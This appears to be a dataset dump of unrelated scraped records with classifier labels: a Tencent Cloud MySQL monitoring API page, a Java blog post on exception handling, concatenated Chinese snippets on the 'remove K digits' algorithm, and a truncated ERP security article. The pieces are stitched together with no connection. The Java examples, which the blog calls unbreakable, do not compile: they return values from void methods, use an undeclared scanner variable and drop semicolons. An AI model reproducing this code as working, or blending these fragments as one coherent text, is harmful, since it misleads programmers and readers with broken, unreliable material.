content
stringlengths
228
999k
pred_label
stringclasses
1 value
pred_score
float64
0.5
1
TencentDB for MySQL Monitoring API Last updated: 2020-05-19 17:39:46 1. API Description API: GetMonitorData Domain name for API request: monitor.tencentcloudapi.com This API is used to get the monitoring data of a Tencent Cloud product by passing in the product's namespace, object dimension description, and monitoring metrics. API call rate limit: 20 calls/second (1,200 calls/minute). A single request can get the monitoring data of up to 10 instances and up to 1,440 data points. This API may fail due to the rate limit if you need to call many metrics and objects. We recommend that you distribute call requests across a period of time. To query the monitoring data of TencentDB for MySQL, use the following input parameters: &Namespace=QCE/CDB &Instances.N.Dimensions.0.Name=InstanceId &Instances.N.Dimensions.0.Value=Specific database ID 2. Input Parameters The list below contains only the API request parameters. Common request parameters need to be added when a call is made. For more information, see Common Params. 2.1.1. Input parameters Parameter Name Required Type Description Action Yes String Common parameter. The value used for this API: GetMonitorData Version Yes String Common parameter. The value used for this API: 2018-07-24 Region No String Common parameter, indicating the region of the instance to be queried. For supported regions, see the list of regions supported by TencentDB for MySQL Namespace Yes String Namespace. Each Tencent Cloud product has a namespace, such as QCE/CDB for TencentDB for MySQL. This value must be capitalized for API 3.0 MetricName Yes String Metric name. For more information, see section 2.2 Instances.N Yes Array of Instance Combination of instance object dimensions Period No Integer Statistical period for monitoring data in seconds. Default value: 300 StartTime No Timestamp Start time, such as "2016-01-01 10:25:00". The default value is "00:00:00" of the current day EndTime No Timestamp End time, which is the current time by default. endTime cannot be earlier than startTime 2.1.2. Dimension parameters Parameter Name Dimension Name Dimension Description Format Instances.N.Dimensions.0.Name InstanceId Database instance ID Enter a string-type dimension name, such as: topicId Instances.N.Dimensions.0.Value InstanceId Specific database ID Enter a specific instance ID, such as topic-i4p4k0u0 Instances.N.Dimensions.1.Name InstanceType Database instance type Enter a string-type dimension name, such as: InstanceType Instances.N.Dimensions.1.Value InstanceType Database instance type. The default value is 1, which indicates to get the monitoring data of the master. To obtain the SlaveIoRunning, SlaveSqlRunning, MasterSlaveSyncDistance, or SecondsBehindMaster monitoring data of the slave, configure the value of InstanceType to 2 Instance type. Default value: 1 2.2. Metric names The statistical granularity (period) may vary by metric. The DescribeBaseMetrics API can be used to get the period supported by each API. Metric Name Description Unit CPUUseRate CPU utilization % MemoryUseRate Memory utilization % MemoryUse Memory usage MB VolumeRate Disk utilization % RealCapacity Used disk capacity (only includes the data capacity usage) MB Capacity Used disk capacity (includes the data and log capacity usage) MB BytesSent Private network outbound traffic Bytes/second BytesReceived Private network inbound traffic Bytes/second QPS Operations per second Times/second TPS Transactions per second Times/second MaxConnections Max number of connections - ThreadsConnected Currently established connections - SlowQueries Slow queries Times/minute SelectScan Full-table scans Times/second SelectCount Queries Times/second ComUpdate Updates Times/second ComDelete Deletions Times/second ComInsert Insertions Times/second ComReplace Overwrites Times/second Queries Total requests Times/second QueryRate Query utilization % CreatedTmpTables Temporary tables Times/second TableLocksWaited Waiting table locks Times/second InnodbCacheUseRate InnoDB cache utilization % InnodbCacheHitRate InnoDB cache hit rate % InnodbOsFileReads InnoDB disk reads Times/second InnodbOsFileWrites InnoDB disk writes Times/second InnodbOsFsyncs InnoDB fsync count Times/second InnodbNumOpenFiles Currently opened tables by InnoDB - KeyCacheUseRate MyISAM cache utilization % KeyCacheHitRate MyISAM cache hit rate % ComCommit Submissions Times/second ComRollback Rollbacks Times/second ThreadsCreated Created threads - threads_running Running threads - CreatedTmpDiskTables Temporary disk tables Times/second CreatedTmpFiles Temporary files Times/second HandlerReadRndNext Next-line read requests Times/second HandlerRollback Internal rollbacks Times/second HandlerCommit Internal submissions Times/second InnodbBufferPoolPagesFree Empty pages in InnoDB - InnodbBufferPoolPagesTotal Total pages in InnoDB - InnodbBufferPoolReadRequests InnoDB logical reads Times/second InnodbBufferPoolReads InnoDB physical reads Times/second InnodbDataReads InnoDB total reads Times/second InnodbDataRead InnoDB read amount Bytes/second InnodbDataWrites InnoDB total writes Times/second InnodbDataWritten InnoDB write amount Bytes/second InnodbRowsDeleted InnoDB line deletions Times/second InnodbRowsInserted InnoDB line insertions Times/second InnodbRowsUpdated InnoDB line updates Times/second InnodbRowsRead InnoDB line reads Times/second InnodbRowLockTimeAvg Average time of acquiring row locks by InnoDB Millisecond InnodbRowLockWaits InnoDB row lock waits Times/second KeyBlocksUnused Unused blocks in the key cache - KeyBlocksUsed Used blocks in the key cache - KeyReadRequests Data block reads by the key cache Times/second KeyReads Data block reads by disks Times/second KeyWriteRequests Data block writes to the key cache Times/second KeyWrites Data block writes to disks Times/second OpenedTables Opened tables - InnodbNumOpenFiles Table locks released immediately - OpenFiles Total opened files - LogCapacity Log usage MB SlaveIoRunning I/O thread status - SlaveSqlRunning SQL thread status - MasterSlaveSyncDistance Master-slave delay distance MB SecondsBehindMaster Master-slave delay time MB 3. Output Parameters Parameter Name Type Description MetricName String Monitoring metric StartTime Timestamp Data point start time EndTime Timestamp Data point end time Period Integer Statistical period DataPoints Array of PointsObject Monitoring data list RequestId String Unique ID of the request. Each request returns a unique ID. RequestId is required to troubleshoot issues 4. Samples Sample 1. Getting the monitoring data of a single instance Sample input code https://monitor.tencentcloudapi.com/?Action=GetMonitorData &Namespace=QCE/CDB &MetricName=SlowQueries &Period=300 &StartTime=2018-08-24T10:50:00+08:00 &EndTime=2018-08-24T11:00:00+08:00 &Instances.0.Dimensions.0.Name=InstanceId &Instances.0.Dimensions.0.Value=cdb-e242adzf &<Common request parameters> Sample output code { "Response": { "DataPoints": [ { "Dimensions": [ { "Name": "InstanceId", "Value": "cdb-e242adzf" } ], "Timestamps": [ 1535079000, 1535079300, 1535079600 ], "Values": [ 2, 2, 6 ] } ], "EndTime": "2018-08-24 11:00:00", "MetricName": "SlowQueries", "Period": 300, "RequestId": "d96ec542-6547-4af2-91ac-fee85c1b8b85", "StartTime": "2018-08-24 10:50:00" } } Sample 2. Getting the monitoring data of multiple instances Description This example shows you how to get the monitoring data for the number of slow queries of multiple TencentDB for MySQL instances using a statistical period of 5 minutes for a specified length of time. Request parameters https://monitor.tencentcloudapi.com/?Action=GetMonitorData &Namespace=QCE/CDB &MetricName=SlowQueries &Period=300 &StartTime=2018-08-24T10:50:00+08:00 &EndTime=2018-08-24T11:00:00+08:00 &Instances.0.Dimensions.0.Name=InstanceId &Instances.0.Dimensions.0.Value=cdb-e242adzf &Instances.1.Dimensions.0.Name=InstanceId &Instances.1.Dimensions.0.Value=cdb-o8vv2w10 &<Common request parameters> Response parameters { "Response": { "DataPoints": [ { "Dimensions": [ { "Name": "InstanceId", "Value": "cdb-e242adzf" } ], "Timestamps": [ 1535079000, 1535079300, 1535079600 ], "Values": [ 2, 2, 6 ] }, { "Dimensions": [ { "Name": "InstanceId", "Value": "cdb-o8vv2w10" } ], "Timestamps": [ 1535079000, 1535079300, 1535079600 ], "Values": [ 3, 3, 6 ] } ], "EndTime": "2018-09-22 11:00:00", "MetricName": "SlowQueries", "Period": 300, "RequestId": "9ac53ccc-fbab-483d-980b-b763bcc2f83f", "StartTime": "2018-09-22 10:50:00" } }
__label__pos
0.527422
Subscribe to extremeblueness' Blog        RSS Feed ----- I'm Back and Making Unbreakable Code Icon 2 Comments First of all, I'd like to say that I'm sorry that I haven't made an entry for two whole weeks, but I'm posting again. Now for the core of the entry. This past week I've been continuing to learn java outside of my class (currently at generics), but I've been primarily focusing on perfecting exception handling. My programming teacher had been continually trying to break (produce a run-time and/or logic error for my code). But I finally produced a program that he couldn't break using an exception handling system. Here are some examples: If you have a variable that runs on Number types: import java.io.*; import java.util.*; public class Example { public static void main (String[] args) throws IOException { //main method goes here } static void value() { for( ; ; ) { Scanner reader = new Scanner(System.in); double x; System.out.println("Please enter x.\n") try { x = scanner.nextDouble() } catch (InputMismatchException wrongType) { System.out.println("Error.\nNot a double.\nPlease try again.\n"); continue; } return x; } } } If you have a variable that runs on positive Number types: import java.io.*; import java.util.*; public class ExampleTwo { public static void main (String[] args) throws IOException { //main method goes here } static void value() { for( ; ; ) { Scanner reader = new Scanner(System.in); double x; System.out.println("Please enter x.\n") try { x = scanner.nextDouble() } catch (InputMismatchException wrongType) { System.out.println("Error.\nNot a double.\nPlease try again.\n"); continue; } if (x < 0) { System.out.println("Error.\nNegative number not possible.\nPlease try again.\n"); continue; } return x; } } } If you have a variable that runs on positive, not zero Number types: import java.io.*; import java.util.*; public class ExampleThree { public static void main (String[] args) throws IOException { //main method goes here } static void value() { for( ; ; ) { Scanner reader = new Scanner(System.in); double x; System.out.println("Please enter x.\n") try { x = scanner.nextDouble() } catch (InputMismatchException wrongType) { System.out.println("Error.\nNot a double.\nPlease try again.\n"); continue; } if (x <= 0) { System.out.println("Error.\nNegative or null values not possible.\nPlease try again.\n"); continue; } return x; } } } Note that the return statements are INSIDE the for loop. This combined with the continues causes it to restart the secondary method. 2 Comments On This Entry Page 1 of 1 Ryano121 Icon 01 December 2012 - 07:44 AM Just for the sake of completeness, at the moment you are creating a new Scanner object every time around the loop - it's just a bit of a waste of resources as it only needs to be created once. Moving the declaration above the for( ; ;) solves that for you :) 0 extremeblueness Icon 01 December 2012 - 10:15 AM Really? Thanks. I wasn't sure if I needed to create a new one or not. But at least it doesn't have any bugs no matter what your input is (unless you're trying to hack it) 0 Page 1 of 1 Trackbacks for this entry [ Trackback URL ] There are no Trackbacks for this entry October 2017 S M T W T F S 1234567 891011121314 1516 17 18192021 22232425262728 293031     Tags Recent Entries Recent Comments Search My Blog 0 user(s) viewing 0 Guests 0 member(s) 0 anonymous member(s) Categories
__label__pos
0.983318
精华内容 下载资源 问答 • 给定一非负整数 num,移除这数中的 k 位数字,使得剩下的数字最小。 注意: num 的值小于 10^10000 且 ≥10^ k。 num 不会包含任何前导零。 示例 1 : 输入: num = 1432219, k = 3 输出: 1219 解释: 移除掉三... 题目描述 给定一个非负整数 num,移除这个数中的 k 位数字,使得剩下的数字最小。 注意: num 的值小于 10^10000 且 ≥10^ k。 num 不会包含任何前导零。 示例 1 : 输入: num = 1432219, k = 3 输出: 1219 解释: 移除掉三个数字 4, 3, 和 2 形成一个新的最小的数字 1219。 示例 2 : 输入: num = 10200, k = 1 输出: 200 解释: 移掉首位的 1 剩下的数字为 200. 注意输出不能有任何前导零。 示例 3 : 输入: num = 10, k = 2 输出: 0 解释: 从原数字移除所有的数字,剩余为空就是0。 题目分析 这道题可以从删除多余元素和直接获得结果元素出发。先说删除多元素的算法,我们需要将当前递减序列如4321,依次删除4,3...,是不是一直按照非严格递增的顺序前进,删除递减序列就行了呢?遇到有相同数字怎么办呢?比如说:44321,当前删除最后一个4后得到4321,指针停留在3的位置,如果我们直接看后一个元素与3的大小关系,就有问题了(前面还有一个4),这种情况可以采用观察当前元素和前一个元素的方法,删除了元素需要将下标减2。除此之外,还需要将数组进行移动,还要处理。这种方法是不是很麻烦且容易出错,用直接获得结果元素就简单多了。假设num=1463,k=1,我们构造一个区间即start=0、end=k=1,然后在这个区间中找最小值加入结果字符串中,即在14中选最小,得到1,更新start=0;然后我们继续++start(得到1),end++(得到2),然后在46中选最小值,得到4,加入结果集字符串中,更新start=1,然后同上面步骤直到end=4。这样就可以保证我们能删除k个元素,且保证当前最高位的数值最小,为什么初始化时要选k+1的区间大小呢?因为前k+1个数内一定存在结果字符串中起始元素,因为只删除k个元素(防止num=400000,k=1的情况中4被加入结果集中,后面的区间大小可能小于k+1)。从当前的区间中选一个最小数值意味着当前最高位是当前最小的。为什么结果集中的第二个元素必须在当前end之前呢,因为我们知道首元素是初始化区间中的最小值,这样才能保证最高位是最小的,首元素确定后,他前面的元素肯定不能选,只能选其后,如果超过了end那么最后删除的元素将多余k个,我们只能在首元素之后和end之前选最小。看出来了吗?这个算法真的很巧妙。 算法实现 删除多余元素 #include<iostream> #include<string.h> using namespace std; int main() { int num; cin >> num; char** result = new char*[num]; for (int i = 0;i < num;i++) { char* number=new char[10000]; int k; cin >> number; cin >> k; int size = strlen(number); for (int j = 1;j < size;j++) { if (number[j-1] > number[j] && --k >= 0) { char* src = number+j; char* dst = number + j - 1; while ((*dst++ = *src++) != '\0'); j=0; size--; } } while (k > 0) { number[--size] = '\0'; k--; } if (size <= 0) { result[i] = new char[2]; result[i][0] = '0'; result[i][1] = '\0'; } else { size--; int m = 0; for (;m < size;m++) if (number[m] != '0') break; result[i] = new char[size - m + 2]; char* src = number+m; char* dst = result[i]; while ((*dst++ = *src++) != '\0'); } /*cout << result[i]; cout << endl;*/ } for (int i = 0;i < num;i++) { for (int j = 0;j < strlen(result[i]);j++) { cout << result[i][j]; } cout << endl; } return 0; } 直接增加元素 #include<iostream> #include<string.h> using namespace std; int main() { int num; cin >> num; char** result = new char*[num]; for (int i = 0;i < num;i++) { char* number=new char[10001]; int k; cin >> number; cin >> k; int size = strlen(number); if(k==size) { result[i]=new char[2]; result[i][0]='0'; result[i][1]='\0'; continue; } int curSize=size-k; char* cur=new char[curSize+1]; int count=0; int start=0,end=k; while(end<size) { char min=number[start]; int minIndex=start; for(int j=start+1;j<=end;j++) { if(number[j]<min) { min=number[j]; minIndex=j; } } cur[count++]=min; start=minIndex+1; end++; } cur[curSize]='\0'; int m = 0; for (;m < curSize;m++) if (cur[m] != '0') break; if(m==curSize) { result[i]=new char[2]; result[i][0]='0'; result[i][1]='\0'; continue; } result[i] = new char[curSize - m]; char* src = cur+m; char* dst = result[i]; while ((*dst++ = *src++) != '\0'); } for (int i = 0;i < num;i++) { cout<<result[i]; cout << endl; } return 0; }   展开全文 • *给定一以字符串表示的非负整数 num,移除这数中的 k 位数字,使得剩下的数字最小 */ class Solution {  public String removeKdigits(String num, int k) {  String resullt ="";  List list =new... /** *给定一个以字符串表示的非负整数 num,移除这个数中的 k 位数字,使得剩下的数字最小 */ class Solution {     public String removeKdigits(String num, int k) {            String resullt ="";         List<Integer>  list  =new ArrayList<Integer>();         for (int i = 0 ;i<num.length();i++){              int number =Integer.parseInt(String.valueOf(num.charAt(i)));             while (list.size()!=0 && k>0 && (list.get(list.size()-1)>number)){                 list.remove(list.size()-1);                 k--;             }             if (number!=0||list.size()!=0)             {                 list.add(number);             }         }         while (list.size()!=0 &&k>0)         {             list.remove(list.size()-1);             k--;         }         for (int i =0 ;i<list.size();i++)         {             if (list.get(i)==0&&resullt.length()==0)             {             }             else             {resullt=resullt+list.get(i);}         }          if (resullt.equals(""))            resullt=String.valueOf(0);         return  resullt;     } } 展开全文 • 题目:一n的数,去掉其中的k,问怎样去掉使得留下来的那个(n-k)的数最小? 分析:(删数问题,可用贪心算法求解),方法就是从简单入手,慢慢复杂。从n=1开始推导就会发现规律, 现在假设有一数,... 题目:一个n位的数,去掉其中的k位,问怎样去掉使得留下来的那个(n-k)位的数最小? 分析:(删数问题,可用贪心算法求解),方法就是从简单入手,慢慢复杂。从n=1开始推导就会发现规律, 现在假设有一个数,124682385, 假如k = 1,则结果为12462385,k = 2,结果为1242385…… 可以知道:最优解是删除出现的第一个左边>右边的数,因为删除之后高位减小,很容易想...那全局最优解也就是这个了,因为删除S个数字就相当于执行了S次删除一个数,因为留下的数总是当前最优解... def solution(num, k): s = str(num) flag = True while k: for i in range(len(s)-1): #每次删除第一个比下一个数字大的数 if s[i] > s[i+1]: s = s.replace(s[i],'',1) flag = False break #如果所有数字递增,则删除最后几个数字直接返回 if flag: s = s[:len(s)-k] k -= 1 return int(s)   展开全文 • 原文:微信公众号:程序员小灰——删去k个数字后的最小值 1 题目 给定一整数,从该整数中去掉 k 个数字,使剩下的数字...一个数字移除 1 后肯定会变小,问题是变小多少,最简单直接的方法是移除掉最后一,... 原文:微信公众号:程序员小灰——删去k个数字后的最小值 1 题目 给定一个整数,从该整数中去掉 k 个数字,使剩下的数字组成的新整数尽可能小,那么应该选择去掉的数字。 2 思路 感觉这是个挺有意思的问题,所以当时认真的读了读也认真的想了想,真是不想不知道,一想才发现算法真的分优劣。首先这个题目是什么意思呢?一个数字移除 1 位后肯定会变小,问题是变小多少,最简单直接的方法是移除掉最后一位,那么会变小 10 倍左右,假如有一个 5 位整数 54127,移除 1 位数字如果移除最后一位变成 5412,变小了 10 倍左右,但是这肯定不是最小的。移除 1 位后变成 4 位整数,既然位数一样,那么肯定是高位的数字越小结果就越小,对于 54127 显然移除第一位变成 4127 是最小的,变小了 13倍左右。 那么是不是移除第一位一定是最小的呢?也不是,假设有一个 5 位整数 45127,移除 1 位数字如果移除最后一位变成 4512,变小了 10 倍左右,如果移除第一位变成 5127,最高位反而升高了,只变小了 8.8 倍左右,还不如移除最后一位,所以我们选择去掉的数字的原则应该是原整数的所有数字从左到右进行比较,如果发现某一位的数字大于它右面的数字,那么在删除该数字后,必然会使得该数位的值降低,因为右面比它小的数字顶替了它的位置。 再给一个例子,假如有一个整数 541270936,需要移除 3 个数字,按照上面的原则,第一个去掉的应该是 5,因为 5>4,;第二个去掉的应该是 4,因为 4>1,第三个去掉的应该是 7,因为 1<2,2<7,7>0,所以 541270936 去掉 3 个数字后得到的最小整数应该是 120936。 而且注意一下,假如有一个整数 30200,需要移除 1 个数字,按照上面的原则,应该去掉第一个数字 3,然后剩下的数字为 0200,我们应该记录为 200,所以我们要考虑处理后的数字前面要去掉 0 的情况。 3 代码实现 理清思路后,就来简单用代码实现一下这个算法, @Test public void testRemoveKDigits() { removeKDigits1("541270936", 3); } /** * author:MrQinshou * Description:初版,以 k 为外层循环,每次外循环再去遍历全部字符串,每次删除一个数字 * date:2018/11/27 20:21 * param * return */ public static String removeKDigits1(String string, int k) { // 以删除多少位为外层循环 for (int i = 0; i < k; i++) { // 定义一个标志位记录是否有高位的数字被删除 boolean hasCut = false; // 每次循环遍历目标字符串的所有字符 for (int j = 0; j < string.length() - 1; j++) { char a = string.charAt(j); char b = string.charAt(j + 1); // 如果当前字符(高位数字)比下一个字符(低位数字)要大 // 则截取字符串,并置标志位为 true if (a > b) { string = string.substring(0, j) + string.substring(j + 1, string.length()); hasCut = true; break; } } // 如果没有高位数字被删除,则删除最后一个数字 if (!hasCut) { string = string.substring(0, string.length() - 1); } // 去掉前面的 0 string = removeZero(string); System.out.println("string--->" + string); } if (string.length() == 0) { System.out.println("删除 " + k + " 个数字后的最小值--->" + 0); return "0"; } System.out.println("删除 " + k + " 个数字后的最小值--->" + string); return string; } /** * author:MrQinshou * Description:去掉字符串前面的 0 * date:2018/11/27 20:23 * param * return */ private static String removeZero(String string) { for (int i = 0; i < string.length() - 1; i++) { if (string.charAt(0) != '0') { break; } string = string.substring(1, string.length()); } return string; } 运行一下打印如下: 结果是木有任何问题的,LeeCode 上有这道题,移掉 K 位数字,放到上面是玩耍一下(记得注释掉打印): 貌似效率是有点低呀,接着往下看发现智慧与美貌并存的小灰介绍了另外一种方式来解答该题目。 4 优化 原整数的长度记为 n,上面的算法因为外层循环 k 次,内层循环每次为 n 次,时间复杂度为 O(kn),最坏的情况下 k=n,则时间复杂度为 O(n²)。我们可以换一种思路,不让它嵌套循环,只遍历原整数一遍,用一个栈来存放所有数字,让数字一个个入栈,然后当入栈的数字比前面的数字要小时,则让前面的数字出栈,最后把栈内元素去掉 0 再处理成字符串,变成我们想要的结果。 /** * author:MrQinshou * Description:最终版,用栈来实现 * date:2018/11/27 20:23 * param * return */ public static String removeKDigits(String string, int k) { // 创建一个栈,用于接收所有的数字 char[] stack = new char[string.length()]; int top = 0; // 定于一个 copyK 等于 k,用于记录需要移除多少位数字,也就是需要 // 出栈多少次,k 在最后还要用于确定新整数的长度,所以不要直接 // 操作 k int copyK = k; for (int i = 0; i < string.length(); i++) { // 前一个数字大于当前数字时并且还有剩余次数,前一个数字出栈,栈顶指针前移 // 注意这里是 while 不能是 if,如整数 45127,k=2 时,当指针 // 指向数字 1 时,如果用 if,只会比较一次,让前一个数字 5 出 // 栈,但 1 仍小于 4,所以 4 也应该出栈,所以需要用 while // 比较完前面所有数字 while (top > 0 && stack[top - 1] > string.charAt(i) && copyK > 0) { top--; copyK--; } stack[top] = string.charAt(i); top++; System.out.println("stack--->" + Arrays.toString(stack)); } // 找到栈中第一个非 0 数字的位置,以此构建新的整数字符串 int offset = 0; for (int i = 0; i < stack.length; i++) { if (stack[offset] == '0') { offset++; } // 加了 else 跳出后反而效率会降低,一脸懵逼 // else { // break; // } } // 新整数的长度为原整数的长度减去 k // 如果 offset 大于等于新整数的长度,则返回 0,否则从第一个 // 非 0 数字开始截取到与新整数长度相等的数字作为返回值 System.out.println("删除 " + k + " 个数字后的最小值--->" + (offset >= string.length() - k ? "0" : new String(stack, offset, string.length() - k - offset))); return offset >= string.length() - k ? "0" : new String(stack, offset, string.length() - k - offset); } 上面的遍历时的 while 要注意,不能是 if,这个问题我刚开始也纠结了好久,如整数 45127,k=2 时,当指针指向数字 1 时,如果用 if,只会比较一次,而且比 1 大的应该有 5 和 4 两个数字。 运行结果如下: 接下来就可以在 LeeCode 上愉快地玩耍了(记得注释掉打印),最后的去掉 0 我改成了 for 循环没有用小灰文中的 while 循环,效率还高了一点点: 5 总结 以前在面试中没有怎么遇到过算法题,刚开始看到这个题目的时候还觉得很有趣,等自己真的去理解思路的时候还是有点困难,特别是后面的优化,这也说明了栈这种数据结构也是蛮有用的,继续努力。 展开全文 • 输入一个5位整数,依次输出各个位数字 #include "stdio.h" int main() { int num; char a5,a4,a3,a2,a1; printf("输入5位数字:"); scanf("%d",&num); a5=(num/10000)%10; //万位数字 a4=(num/1000)%10; ... • 给定一以字符串表示的非负整数num,移除这数中的k位数字,使得剩下的数字最小。 注意: num的长度小于 10002 且≥k。 num不会包含任何前导零。 示例 1 : 输入: num = "1432219", k = 3 输出: "1219" 解释: ... •  题目是网上看到的,意思是:给定一个数字,求解比这个数字大的最小的对称数字,如:比10大的最小的对称数字为11,比111大的最小的对称数字为:121,比9999大的最小对称数字为:10001,以此类推 思路:  这... • 编程练习:使用for循环,编程求100~999之间所有的水仙花数。水仙花数是指一个n位数(n≥3),它的每个位上数字的...水仙花数是指一个n位数(n≥3),它的每个位上数字的n次幂之和等于它本身。(例如:1^3 + 5^3+ 3^3 = ... • 剑指Offer--008-旋转数组的最小数字 千次阅读 2016-04-10 21:36:07 牛客OJ:旋转数组的最小数字 九度OJ:http://ac.jobdu.com/problem.php?pid=1386 GitHub代码: 008-旋转数组的最小数字 CSDN题解:剑指Offer–008-旋转数组的最小数字 牛客OJ 九度OJ CSDN题解 GitHub... • 然后计算 S,使其等于数组 A 当中最小的那个元素各个数位上数字之和。 最后,假如 S 所得计算结果是 奇数 的请你返回 0,否则请返回 1。 示例 1: 输入:[34,23,1,24,75,33,54,8] 输出:0 解释: 最小元素为 1,... • 给定一批整数,分析每个整数的每一位数字,求出现次数最多的个位数字。例如给定3个整数1234、2345、3456,其中出现最多次数的数字是3和4,均出现了3次。 输入格式: 输入在第1行中给出正整数N(≤1000),在第二行... • * 求这两个数字的差,得:41976,把这个数字再次重复上述过程(如果不足5,则前边补0)。 * 如此往复,数字会落入某个循环圈(称为数字黑洞)。 比如,刚才的数字会落入:[82962,75933, 63954, 61974]这循环... • 思路:在n个位里面删除m个位,也就是找出n-m个位组成最小数 所以在区间 [0, m]里面找最小的数,对应的下标标号i 接着找区间 [i+1,m++]里面的最小数,对于下标为ii 接着找区间 [ii+1,m++]里面的最小数…… ... • Java实现 LeetCode 402 移掉K位数字 万次阅读 多人点赞 2020-03-13 22:42:28 给定一以字符串表示的非负整数 num,移除这数中的 k 位数字,使得剩下的数字最小。 注意: num 的长度小于 10002 且 ≥ k。 num 不会包含任何前导零。 示例 1 : 输入: num = “1432219”, k = 3 输出: “1219” ... • 请问判断3个数字之间最大,最小和中间值,要如何判断?例如: $a = 500; $b = 1500; $c = 2000; 希望得到的结果是: 最大是c,最小是a,中间为b。 • 5位数字黑洞 千次阅读 2017-03-06 10:30:57 任意一5位数,比如:34256,把它的各位数字打乱,重新排列,可以得到一最大的数:65432,一个最小的数23456。求这两个数字的差,得:41976,把这个数字再次重复上述过程(如果不足5,则前边补0)。如此往复,... • 条件: 限制最大 100,最小0,最长两小数 输入大于100,自动变为100. 超出,2小数,自动四舍五入 以下是使用全局指令的案例 (也可以使用局部指令,可以参考文档 ... • 求这两个数字的差,得:41976,把这个数字再次重复上述过程(如果不足5,则前边补0)。 如此往复,数字会落入某个循环圈(称为数字黑洞)。 比如,刚才的数字会落入:[82962, 75933, 63954, 61974] 这循环圈。 ... • 任意一5位数,比如:34256,把它的各位数字打乱,重新排列,可以得到一最大的数:65432,一个最小的数23456。求这两个数字的差,得:41976,把这个数字再次重复上述过程(如果不足5,则前边补0)。如此往复,... • 题目描述:给定N个数字,输出这几个数字组成的最小整数 输入 3 9 24 48 输出: 24489 import sys n = int(sys.stdin.readline().strip()) V = [] for i in range(n): line = sys.stdin.readline().strip() ... • 例如输入数组{3,32,321},则打印出这三数字能排成的最小数字为321323。 思路:这题实际是考的字符串比大小,字符串是如何比大小? 1 .如果字符串相等返回值为0,不等返回其他数值。 比较方法是先比较对应... • 最小的k个数字和求第k小的数字 千次阅读 2012-12-31 20:58:59 比较常见的例子,大家都会购物吧,购物的时候如果去京东商城,当搜索某件商品的时候,搜索后的页面会呈现很多该类型的商品,但是京东总会给我们一些推荐,那么这推荐是依据什么呢?其实道理很简单,京东的后台... • 运行结果:分析:先选定第一个数字,然后将后面的数字依次遍历求和,并与需要的数字比较,需要n-1次,如果第一个数字不行,选择第二,依次遍历求和。。。。需要n^2次,时间复杂度比较高,但也是可以的,在面试中... • 例如输入数组 {3,32,321},则打印出这三数字能排成的最小数字为321323。 解题思路:  解题思路: 比较两字符串s1 S2的大小的时候,先将它们拼接起来,比较s1+s2和s2+s1哪个大,如果s1+s2大,那么说明s2... • 位数字密码锁 千次阅读 2019-11-20 11:50:48 设计一保险箱用的4位数字密码锁,该锁有规定的地址代码A、B、C、D 4输入端和一开箱钥匙孔信号E的输入端,锁的密码由实验者自编。当用钥匙开箱时,如果输入的4密码正确,则保险箱被打开;否则,电路将发出... • n位数,删去k后,也就是剩下一 n-k 数,那么这数要最小,我们就要保证我们我们得出的数是所有删除后得到的数的最小值。那么怎么保证呢? 问题转换一下,如果最后就剩下一,那么无意结果就是这些数字的... • 在一数组中,每两个数字配对,要求得到的所有配对数字的差的绝对值最小,请问怎么分配数组呢? • 例如输入数组{122,12,123},则输出这两能排成的最小数字12122123。 思路: 新排序规则:从整数数组中取出两数a和b,将a和b转化成字符串"a"和"b",再分别把"a"和"b"拼接成... • n位数,删去k后,也就是剩下一 n-k 数,那么这数要最小,我们就要保证我们我们得出的数是所有删除后得到的数的最小值。那么怎么保证呢? 问题转换一下,如果最后就剩下一,那么无意结果就是这些... 空空如也 空空如也 1 2 3 4 5 ... 20 收藏数 246,318 精华内容 98,527 关键字: 个位上最小的数字是什么
__label__pos
0.683006
Published on Best practices for securing data in ERP software systems Enterprise Resource Planning (ERP) software systems are widely used in businesses to streamline operations, improve efficiency, and enhance productivity. However, in today's digital world, where cyber threats are constantly evolving, security is becoming a top priority for organizations implementing ERP systems. Best practices for securing data in ERP software systems Key Components of a Secure ERP Software System In this article, we will discuss the key components of a secure ERP software system and why they are essential for protecting sensitive business data. Data Encryption One of the most critical components of a secure ERP software system is data encryption. Encryption converts data into a code that can only be accessed by authorized users with the proper encryption key. This helps protect sensitive information such as financial data, customer records, and strategic plans from unauthorized access. By encrypting data both at rest and in transit, ERP systems ensure that even if a hacker gains access to the system, they will not be able to read or use the encrypted data. This added layer of security helps businesses comply with regulatory requirements and protect their valuable assets. Role-Based Access Control Role-based access control (RBAC) is another essential component of a secure ERP software system. RBAC restricts user access to certain parts of the system based on their role within the organization. This means that employees only have access to the information and functions that are necessary for their job responsibilities. By implementing RBAC, businesses can prevent unauthorized users from accessing sensitive data and reduce the risk of insider threats. RBAC also simplifies user management by allowing administrators to assign and revoke access rights quickly and efficiently. Multi-Factor Authentication Multi-factor authentication (MFA) is a security measure that requires users to provide two or more authentication factors to access the ERP system. These factors typically include something the user knows (like a password), something the user has (like a mobile phone), and something the user is (like a fingerprint). By implementing MFA, businesses can add an extra layer of security to their ERP software system and reduce the risk of unauthorized access. MFA helps protect against password theft, phishing attacks, and other common security threats by verifying the identity of users before granting access to the system. Regular Security Updates One often overlooked component of a secure ERP software system is regular security updates. Software vendors release updates to patch security vulnerabilities and improve the overall security of the system. By staying up to date with these updates, businesses can ensure that their ERP system is protected against the latest threats. Failure to install security updates can leave ERP systems vulnerable to cyber attacks and data breaches. Hackers often target outdated software with known security flaws, making regular updates essential for maintaining the security of an ERP software system. Secure Communication Protocols Secure communication protocols are vital for protecting data transmitted between the ERP system and other devices or networks. Protocols like HTTPS encrypt communication over the internet, ensuring that sensitive information remains confidential and secure. By using secure communication protocols, businesses can prevent eavesdropping, data interception, and man-in-the-middle attacks that can compromise the security of their ERP system. Secure communication protocols are essential for maintaining the integrity and confidentiality of data in transit. When it comes to protecting sensitive business data, implementing a secure ERP software system is essential. By incorporating key components such as data encryption, role-based access control, multi-factor authentication, regular security updates, and secure communication protocols, businesses can strengthen the security of their ERP system and mitigate the risk of cyber threats. With the increasing number of cyber attacks targeting businesses of all sizes, investing in a secure ERP software system is crucial for safeguarding valuable information and maintaining the trust of customers and stakeholders. Strategies for Protecting Sensitive Data within ERP Systems Data breaches can result in significant financial losses, damage to reputation, and legal repercussions. That's why it's crucial for companies to implement robust strategies to safeguard their sensitive data within ERP systems. Understanding the Risks Before diving into strategies for protecting sensitive data within ERP systems, it's important to understand the risks that businesses face. According to a recent study by Ponemon Institute, the average cost of a data breach is $3.86 million, with an average cost of $148 per record compromised. With hackers becoming more sophisticated and cyber threats on the rise, it's crucial for companies to be proactive in securing their ERP systems. Implementing Role-Based Access Controls One of the most effective ways to protect sensitive data within ERP systems is by implementing role-based access controls. This ensures that employees only have access to the data and functionalities that are necessary for their job roles. By restricting access to sensitive data, companies 